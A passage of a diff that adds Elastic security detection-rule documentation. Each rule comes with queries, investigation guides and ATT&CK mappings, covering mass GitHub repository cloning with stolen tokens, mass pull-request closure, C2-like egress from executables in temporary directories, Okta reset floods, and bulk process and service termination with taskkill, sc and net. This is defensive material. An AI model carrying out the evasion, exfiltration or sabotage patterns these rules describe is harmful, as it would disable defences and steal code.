install assets associated with the Lateral Movement Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Lateral Movement Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Remote Desktop Protocol +** ID: T1021.001 +** Reference URL: https://attack.mitre.org/techniques/T1021/001/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-high-number-of-cloned-github-repos-from-pat.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-high-number-of-cloned-github-repos-from-pat.asciidoc new file mode 100644 index 0000000000..443157c8ed --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-high-number-of-cloned-github-repos-from-pat.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-20-high-number-of-cloned-github-repos-from-pat]] +=== High Number of Cloned GitHub Repos From PAT + +Detects a high number of unique private repo clone events originating from a single personal access token within a short time period. + +*Rule type*: threshold + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Use Case: UEBA +* Tactic: Execution +* Data Source: Github +* Resources: Investigation Guide + +*Version*: 208 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating High Number of Cloned GitHub Repos From PAT* + + +Personal Access Tokens (PATs) facilitate automated access to GitHub repositories, enabling seamless integration and management. However, adversaries can exploit compromised PATs to clone numerous private repositories rapidly, potentially exfiltrating sensitive code. The detection rule identifies unusual cloning activity by monitoring for a surge in unique private repo clones from a single PAT, signaling potential misuse. + + +*Possible investigation steps* + + +- Review the specific personal access token (PAT) involved in the alert to determine its owner and associated user account. +- Analyze the event logs for the PAT to identify the number and names of private repositories cloned, focusing on any unusual or unauthorized access patterns. +- Check the access history of the PAT to see if there are any other suspicious activities or anomalies, such as access from unfamiliar IP addresses or locations. +- Contact the owner of the PAT to verify if the cloning activity was authorized and to gather additional context about the usage of the token. +- Investigate the security posture of the affected repositories, including reviewing access permissions and recent changes to repository settings. +- Consider revoking the compromised PAT and issuing a new one if unauthorized access is confirmed, and ensure the user updates any systems or scripts using the old token. + + +*False positive analysis* + + +- Legitimate automated processes or CI/CD pipelines may trigger multiple clone events. Review and whitelist known IP addresses or tokens associated with these processes to prevent false alerts. +- Developers working on multiple projects might clone several private repositories in a short period. Identify and exclude these users or their tokens from triggering alerts by maintaining a list of frequent cloners. +- Organizational scripts or tools that require cloning multiple repositories for updates or backups can cause false positives. Document these scripts and create exceptions for their associated tokens. +- Scheduled maintenance or migration activities involving repository cloning can be mistaken for suspicious activity. Coordinate with relevant teams to anticipate such events and temporarily adjust detection thresholds or exclude specific tokens. + + +*Response and remediation* + + +- Immediately revoke the compromised Personal Access Token (PAT) to prevent further unauthorized access to private repositories. +- Notify the repository owners and relevant stakeholders about the potential breach to assess the impact and initiate internal incident response procedures. +- Conduct a thorough review of the cloned repositories to identify any sensitive or proprietary information that may have been exposed. +- Implement additional access controls, such as IP whitelisting or two-factor authentication, to enhance security for accessing private repositories. +- Monitor for any unusual activity or further unauthorized access attempts using other PATs or credentials. +- Escalate the incident to the security team for a comprehensive investigation and to determine if any other systems or data have been compromised. +- Update and enforce policies regarding the creation, usage, and management of PATs to prevent similar incidents in the future. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:"github.audit" and event.category:"configuration" and event.action:"git.clone" and +github.programmatic_access_type:("OAuth access token" or "Fine-grained personal access token") and +github.repository_public:false + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Serverless Execution +** ID: T1648 +** Reference URL: https://attack.mitre.org/techniques/T1648/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Sub-technique: +** Name: Code Repositories +** ID: T1213.003 +** Reference URL: https://attack.mitre.org/techniques/T1213/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-high-number-of-closed-pull-requests-by-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-high-number-of-closed-pull-requests-by-user.asciidoc new file mode 100644 index 0000000000..0dde9ccafb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-high-number-of-closed-pull-requests-by-user.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-20-high-number-of-closed-pull-requests-by-user]] +=== High Number of Closed Pull Requests by User + +Detects a high number of closed pull requests by a single user within a short time frame. Adversaries may close multiple pull requests to disrupt development workflows or hide malicious changes. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 8m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack +* https://trigger.dev/blog/shai-hulud-postmortem +* https://posthog.com/blog/nov-24-shai-hulud-attack-post-mortem + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Impact +* Tactic: Exfiltration +* Data Source: Github +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating High Number of Closed Pull Requests by User* + + +This rule flags a single user rapidly closing many pull requests in a short window, a disruptive pattern that suppresses review history, delays releases, and masks unauthorized changes. An attacker with stolen maintainer access mass-closes pull requests across multiple repositories, then force-pushes branches and opens new pull requests that sidestep earlier review threads, making malicious edits appear routine amid churn. + + +*Possible investigation steps* + + +- Determine if the actor is a bot or sanctioned maintenance by confirming account type, scheduled workflows, and change advisories from repo/org owners. +- Open a sample of the closed PRs to review comments, labels, linked issues, and whether closure coincided with branch deletions, force-pushes, or unusual commit history in the target branches. +- Correlate the closure burst with audit events for permission changes, role assignments, repository settings edits, or protection rule modifications to detect potential sabotage. +- Validate the actor’s IPs, geolocation, and user agents against baselines and check for recent PAT creations, OAuth app grants, or SSO anomalies indicating credential theft. +- Identify whether closed PRs were immediately replaced by new PRs carrying similar diffs that bypass prior review threads and required checks, and verify branch protection remained enforced. + + +*False positive analysis* + + +- A maintainer or org-owned bot performs scheduled backlog hygiene, closing stale, duplicate, or superseded PRs across multiple repositories after a default branch rename or policy update, resulting in a high closure count from one account. +- During a planned migration or archival, a release manager closes PRs tied to deprecated branches and consolidates work into new targets, legitimately generating a burst of closures attributed to a single user. + + +*Response and remediation* + + +- Immediately contain by removing the user from teams with Triage/Write permissions on affected repositories, revoking their personal access tokens from Tokens & keys, and tightening branch protection by disallowing force-pushes and restricting who can push to main and release branches. +- Trigger escalation to Security Incident Response if closed pull requests span more than five repositories within one hour, coincide with branch deletions or forced pushes, or originate from a new user agent/IP, and disable the account at the identity provider while contacting GitHub Support. +- Eradicate impact by reopening legitimate PRs via each closed PR URL, using Restore branch or recreating the head branch from the last known commit SHA, and reapplying required labels and reviewers. +- Recover repository state by comparing diffs of closed PRs to any newly opened PRs by the same user, reverting unauthorized commits in target branches with git revert, and re-running required status checks before merging. +- Harden controls by enforcing branch protection rules (require two approvals, restrict who can dismiss reviews, require signed commits), enabling CODEOWNERS for critical paths, and turning off Allow deletions on default and release branches. +- Prevent recurrence by disabling classic PATs and requiring short-lived fine-grained PATs, revoking unusual OAuth app grants, mandating SSO with hardware-backed MFA, and installing a GitHub App/Action that notifies on PR closures with PR URLs, repos, and branches and requires a reason-coded label per policy. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-github.audit-* metadata _id, _index, _version +| where + data_stream.dataset == "github.audit" and + github.category == "pull_request" and + event.type == "change" and + event.action == "pull_request.close" +| stats + Esql.document_count = COUNT(*), + Esql.github_org_values = values(github.org), + Esql.github_repo_values = values(github.repo), + Esql.github_user_agent_values = values(github.user_agent), + Esql.github_pull_request_url_values = values(github.pull_request_url), + Esql.user_name_values = values(user.name), + Esql.agent_id_values = values(agent.id), + Esql.event_dataset_values = values(event.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + + by user.name + +| keep Esql.* + +| where + Esql.document_count >= 10 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Automated Exfiltration +** ID: T1020 +** Reference URL: https://attack.mitre.org/techniques/T1020/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Code Repository +** ID: T1567.001 +** Reference URL: https://attack.mitre.org/techniques/T1567/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-high-number-of-egress-network-connections-from-unusual-executable.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-high-number-of-egress-network-connections-from-unusual-executable.asciidoc new file mode 100644 index 0000000000..db27417a15 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-high-number-of-egress-network-connections-from-unusual-executable.asciidoc @@ -0,0 +1,224 @@ +[[prebuilt-rule-8-19-20-high-number-of-egress-network-connections-from-unusual-executable]] +=== High Number of Egress Network Connections from Unusual Executable + +This rule detects a high number of egress network connections from an unusual executable on a Linux system. This could indicate a command and control (C2) communication attempt, a brute force attack via a malware infection, or other malicious activity. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1h + +*Searches indices from*: now-61m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating High Number of Egress Network Connections from Unusual Executable* + + +In Linux environments, executables can initiate network connections for legitimate purposes. However, adversaries exploit this by deploying malware in temporary directories to establish command and control (C2) channels. The detection rule identifies unusual executables making numerous outbound connections, excluding trusted IP ranges and known benign paths, to flag potential threats. + + +*Possible investigation steps* + + +- Review the process.executable field to identify the specific executable making the connections and determine if it is known or expected in the environment. +- Examine the destination.ip field to identify the external IP addresses the executable is attempting to connect to and check if they are known malicious or suspicious. +- Check the host.os.type and agent.id fields to identify the specific host and agent involved, and gather additional context about the system's role and recent activity. +- Analyze the @timestamp field to correlate the timing of the connections with other events or activities on the network or host. +- Cross-reference the identified executable and IP addresses with threat intelligence sources to determine if they are associated with known threats or campaigns. +- If the executable is determined to be malicious or suspicious, isolate the affected host and perform a deeper forensic analysis to identify any additional indicators of compromise or lateral movement. + + +*False positive analysis* + + +- Executables in temporary directories used by legitimate applications or scripts can trigger alerts. Review the process name and executable path to determine if they are associated with known applications or scripts. +- Automated scripts or cron jobs that perform network operations might be flagged. Identify these scripts and consider excluding their paths from the rule if they are verified as non-malicious. +- Development or testing environments often use temporary directories for network operations. If these environments are known and trusted, add their specific paths to the exclusion list. +- Backup or synchronization tools that use temporary directories for data transfer can generate numerous connections. Verify these tools and exclude their paths if they are confirmed to be safe. +- Security tools or monitoring agents that operate in temporary directories might be mistakenly flagged. Confirm their legitimacy and exclude their paths to prevent false positives. + + +*Response and remediation* + + +- Isolate the affected host immediately from the network to prevent further potential malicious communication and lateral movement. +- Terminate the suspicious process identified by the alert to stop any ongoing malicious activity. +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise (IOCs) and assess the extent of the infection. +- Remove any malicious executables or files found in temporary directories such as /tmp, /var/tmp, or /dev/shm to eliminate the threat. +- Patch and update the affected system to the latest security standards to close any vulnerabilities that may have been exploited. +- Monitor network traffic for any unusual outbound connections from other systems to detect potential spread or similar threats. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to ensure comprehensive remediation. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.network-* metadata _id, _index, _version +| mv_expand event.action +| where + host.os.type == "linux" and + event.type == "start" and + event.action == "connection_attempted" and + ( + process.executable like "/tmp/*" or + process.executable like "/var/tmp/*" or + process.executable like "/dev/shm/*" or + process.executable like "/var/log/*" or + process.executable like "/sys/*" or + process.executable like "/media/*" or + process.executable like "/proc/*" or + process.executable like "/var/backups/*" or + process.executable like "/var/mail/*" or + process.executable like "/var/spool/*" or + process.executable like "./*" or + process.name like ".*" + ) and + not ( + cidr_match(destination.ip, + "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", + "192.0.0.0/24", "192.0.0.29/32", "192.0.0.8/32", "192.0.0.9/32", + "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", + "224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24", "198.18.0.0/15", + "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", "FF00::/8" + ) or + process.executable like "/tmp/newroot/*" or + process.executable like "/tmp/.mount*" or + process.executable like "/tmp/go-build*" + ) +| keep + @timestamp, + _id, + _index, + _version, + host.os.type, + event.type, + event.action, + process.name, + process.executable, + destination.ip, + agent.id, + host.name, + event.dataset, + data_stream.namespace + +| stats + Esql.event_count = count(), + Esql.agent_id_count_distinct = count_distinct(agent.id), + Esql.host_name_values = values(host.name), + Esql.agent_id_values = values(agent.id), + Esql.event_dataset_values = values(event.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + by process.executable +| where + Esql.agent_id_count_distinct == 1 and + Esql.event_count > 15 + +// Extract unique values to ECS fields for alerts exclusion +| eval agent.id = mv_min(Esql.agent_id_values), + host.name = mv_min(Esql.host_name_values) + +| sort Esql.event_count asc + +| keep agent.id, host.name, process.executable, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Hidden Files and Directories +** ID: T1564.001 +** Reference URL: https://attack.mitre.org/techniques/T1564/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-high-number-of-okta-user-password-reset-or-unlock-attempts.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-high-number-of-okta-user-password-reset-or-unlock-attempts.asciidoc new file mode 100644 index 0000000000..562557441a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-high-number-of-okta-user-password-reset-or-unlock-attempts.asciidoc @@ -0,0 +1,142 @@ +[[prebuilt-rule-8-19-20-high-number-of-okta-user-password-reset-or-unlock-attempts]] +=== High Number of Okta User Password Reset or Unlock Attempts + +Identifies a high number of Okta user password reset or account unlock attempts. An adversary may attempt to obtain unauthorized access to Okta user accounts using these methods and attempt to blend in with normal activity in their target's environment and evade detection. + +*Rule type*: threshold + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 416 + +*Rule authors*: + +* Elastic +* @BenB196 +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating High Number of Okta User Password Reset or Unlock Attempts* + + +This rule is designed to detect a suspiciously high number of password reset or account unlock attempts in Okta. Excessive password resets or account unlocks can be indicative of an attacker's attempt to gain unauthorized access to an account. + + +*Possible investigation steps:* + +- Identify the actor associated with the excessive attempts. The `okta.actor.alternate_id` field can be used for this purpose. +- Determine the client used by the actor. You can look at `okta.client.device`, `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.ip_chain.ip`, and `okta.client.geographical_context`. +- Review the `okta.outcome.result` and `okta.outcome.reason` fields to understand the outcome of the password reset or unlock attempts. +- Review the event actions associated with these attempts. Look at the `event.action` field and filter for actions related to password reset and account unlock attempts. +- Check for other similar patterns of behavior from the same actor or IP address. If there is a high number of failed login attempts before the password reset or unlock attempts, this may suggest a brute force attack. +- Also, look at the times when these attempts were made. If these were made during off-hours, it could further suggest an adversary's activity. + + +*False positive analysis:* + +- This alert might be a false positive if there are legitimate reasons for a high number of password reset or unlock attempts. This could be due to the user forgetting their password or account lockouts due to too many incorrect attempts. +- Check the actor's past behavior. If this is their usual behavior and they have a valid reason for it, then it might be a false positive. + + +*Response and remediation:* + +- If unauthorized attempts are confirmed, initiate the incident response process. +- Reset the user's password and enforce MFA re-enrollment, if applicable. +- Block the IP address or device used in the attempts, if they appear suspicious. +- If the attack was facilitated by a particular technique, ensure your systems are patched or configured to prevent such techniques. +- Consider a security review of your Okta policies and rules to ensure they follow security best practices. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:okta.system and + event.action:(system.email.account_unlock.sent_message or system.email.password_reset.sent_message or + system.sms.send_account_unlock_message or system.sms.send_password_reset_message or + system.voice.send_account_unlock_call or system.voice.send_password_reset_call or + user.account.unlock_token) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-high-number-of-process-and-or-service-terminations.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-high-number-of-process-and-or-service-terminations.asciidoc new file mode 100644 index 0000000000..3c12c52d6e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-high-number-of-process-and-or-service-terminations.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-20-high-number-of-process-and-or-service-terminations]] +=== High Number of Process and/or Service Terminations + +This rule identifies a high number (10) of process terminations (stop, delete, or suspend) from the same host within a short time period. + +*Rule type*: threshold + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/luna-ransomware-attack-pattern + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Windows Security Event Logs + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating High Number of Process and/or Service Terminations* + + +Attackers can stop services and kill processes for a variety of purposes. For example, they can stop services associated with business applications and databases to release the lock on files used by these applications so they may be encrypted, or stop security and backup solutions, etc. + +This rule identifies a high number (10) of service and/or process terminations (stop, delete, or suspend) from the same host within a short time period. + + +*Possible investigation steps* + + +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Check if any files on the host machine have been encrypted. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further destructive behavior, which is commonly associated with this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Reimage the host operating system or restore it to the operational state. +- If any other destructive action was identified on the host, it is recommended to prioritize the investigation and look for ransomware preparation and execution activities. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and event.type:start and process.name:(net.exe or sc.exe or taskkill.exe) and + process.args:(stop or pause or delete or "/PID" or "/IM" or "/T" or "/F" or "/t" or "/f" or "/im" or "/pid") and + not process.parent.name:(osquerybeat.exe or agentbeat.exe) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-high-number-of-process-terminations.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-high-number-of-process-terminations.asciidoc new file mode 100644 index 0000000000..866110c0b4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-high-number-of-process-terminations.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-20-high-number-of-process-terminations]] +=== High Number of Process Terminations + +This rule identifies a high number (10) of process terminations via pkill from the same host within a short time period. + +*Rule type*: threshold + +*Rule indices*: + +* logs-endpoint.events.* +* endgame-* +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: Crowdstrike + +*Version*: 118 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating High Number of Process Terminations* + + +Attackers can kill processes for a variety of purposes. For example, they can kill process associated with business applications and databases to release the lock on files used by these applications so they may be encrypted,or stop security and backup solutions, etc. + +This rule identifies a high number (10) of process terminations via pkill from the same host within a short time period. + + +*Possible investigation steps* + + +- Examine the entry point to the host and user in action via the Analyse View. + - Identify the session entry leader and session user. +- Examine the contents of session leading to the process termination(s) via the Session View. + - Examine the command execution pattern in the session, which may lead to suspricous activities. +- Examine the process killed during the malicious execution + - Identify imment threat to the system from the process killed. + - Take necessary incident response actions to respawn necessary process. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further destructive behavior, which is commonly associated with this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Reimage the host operating system or restore it to the operational state. +- If any other destructive action was identified on the host, it is recommended to prioritize the investigation and look for ransomware preparation and execution activities. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration 